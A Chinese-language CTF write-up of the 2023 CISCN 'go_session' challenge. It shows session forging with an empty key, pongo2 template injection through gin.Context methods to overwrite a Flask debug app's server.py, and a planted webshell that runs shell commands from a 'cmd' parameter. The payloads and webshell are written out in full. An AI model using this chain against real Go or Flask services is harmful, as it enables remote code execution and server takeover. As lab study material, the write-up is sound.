2023CISCN go_session

今天来做一道国赛题练习一下,环境用的是ctfshow

打开题目后显示Hello, guest

下载附件进行分析,可以看到有三个文件

main.go可以看到有三个路由

然后route.go代码如下

go 复制代码
package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

其中NewCookieStore([]byte(os.Getenv("SESSION_KEY")))表示从环境变量中获取SESSION_KEY并转化为字节切片,然后将其作为session的密钥进行签名认证

函数Index设置session默认权限为guestAdmin则校验是否是admin权限,满足的话则可以传参进行ssti;Flask则表示访问http://127.0.0.1:5000/并加上用户传递的参数

了解完题目情况后就可以开始做题,首先是解决权限问题,因为不知道题目环境变量中SESSION_KEY的值是什么,我们可以猜测它的值为空,在本地修改文件运行伪造session即可

修改Index函数如下

go 复制代码
func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
       http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
       return
    }
    // 改为如果不为admin,就设置为admin
    if session.Values["name"] != "admin" {
       session.Values["name"] = "admin"
       err = session.Save(c.Request, c.Writer)
       if err != nil {
          http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
          return
       }
    }

    c.String(200, "Hello, admin")
}

本地运行,然后获取session值

复制到题目环境里覆盖掉原有的cookie,然后访问/admin

可以正常访问,也就是成功获取了admin权限

在Admin函数里面可以看到用的是pongo2模板,/admin传参?name={``{pongo2.version}},可以看到回显版本号

但是题目里有xssWaf := html.EscapeString(name),跟进EscapeString函数

可以看到会将特殊字符进行html实体编码,就导致我们常规的ssti打法不能用,例如{``{include "/etc/passwd"}},需要想办法绕过这个waf

继续分析,Flask函数可以访问http://127.0.0.1:5000/并加上用户传递的参数,然后name的默认值为guest,初步尝试,发现name传值为空时,会导致页面错误

但是网页并没有渲染,这样看着不方便,可以复制下来本地保存为html,然后再打开就可以正常分析了

可以看到报的是400错误,也就是缺少name参数,继续分析,在下面可以看到/app/server.py的源码

这里设置了debug=True,也就意味着开启了热加载功能,修改文件代码后直接刷新页面就能看到效果,无需重启进程;同时还会显示traceback 的调试页面,也就是我们上面看到的页面。可以说这个就是关键突破口

然后我们可以利用admin路由里的ssti漏洞,想办法污染这个server.py即可

分析Admin函数可以看到,这里将gin.Context对象c注入到pongo2模板的上下文变量中,键名为"c",相当于我们可以通过c对象调用gin.Context的方法

gin.Context如何进一步利用,我们跟进代码看看

可以看到,Context结构体中有一个名为Request的字段,类型为指向http.Request的指针,用来保存当前HTTP请求对象。继续跟进Request看看

Request里面定义了很多函数,例如UserAgent()函数我们就可以拿来传值,这样就可以绕过前面对双引号的限制了

go 复制代码
c.Request.UserAgent()

同样的,还有很多方法可以用于传值,自由选择就可以

双引号的问题解决了,但是我们如何重写server.py还没解决,继续分析Context结构体,发现有个函数SaveUploadedFile可以将文件上传到指定位置

但我们不知道该函数能否把已经存在的文件给覆盖掉,里面有个os.Create函数,我们查阅官方文档可以看到https://pkg.go.dev/os#Create

如果目标文件已经存在,则会把文件截断为长度0,相当于清空内容,然后再通过后面的io.Copy函数把内容上传上去。这样我们的问题就解决了

SaveUploadedFile函数要求上传的第一个参数为multipart.FileHeader对象,刚好我们在前面看到FormFile函数的第一个返回值就为这个,第二个返回值error会被Pongo2模板引擎自动处理不用管,那我们用FormFile函数来获取该对象就可以

构造payload如下

复制代码
/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}

我们需要用表单形式来提交恶意代码内容,这里需要手动进行构造,然后我这里用User-Agentreferer来传值,当然你也可以用其他的http头,找到对应的函数即可

复制代码
User-Agent: a
referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLBmWN7oHI3H0bOS

------WebKitFormBoundarykLBmWN7oHI3H0bOS
Content-Disposition: form-data; name="a"; filename="server.py"

from flask import *
import os

app = Flask(__name__)
@app.route('/')
def index():
    name = request.args['cmd']
    cmd = os.popen(name).read()
    return cmd

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundarykLBmWN7oHI3H0bOS--

发包,显示Hello !表示成功

最后回到网页访问/flask执行命令即可,需要注意的是,name参数只是用来传参,我们要传入cmd参数才可以执行命令

payload如下,看着有点别扭,但确实是这样写

复制代码
/flask?name=?cmd=ls${IFS}/

最后读取th1s_1s_f13g即可

相关推荐
Y5neKO5 小时前
某国赛CTF密码学题目Writeup:RSA
密码学·ctf·rsa
添尹7 小时前
Go语言基础之变量和常量
golang
大方子8 小时前
【PolarCTF】Don‘t touch me
网络安全·polarctf
未知鱼9 小时前
Python安全开发之子域名扫描器(含详细注释)
网络·python·安全·web安全·网络安全
菜根Sec12 小时前
网络安全冬天怎么过
安全·web安全·网络安全·网络安全公司
参.商.12 小时前
【Day43】49. 字母异位词分组
leetcode·golang
参.商.13 小时前
【Day45】647. 回文子串 5. 最长回文子串
leetcode·golang
AMoon丶15 小时前
Golang--内存管理
开发语言·后端·算法·缓存·golang·os
yv_3016 小时前
云曦26开学考复现
ctf
lars_lhuan16 小时前
Go Context
golang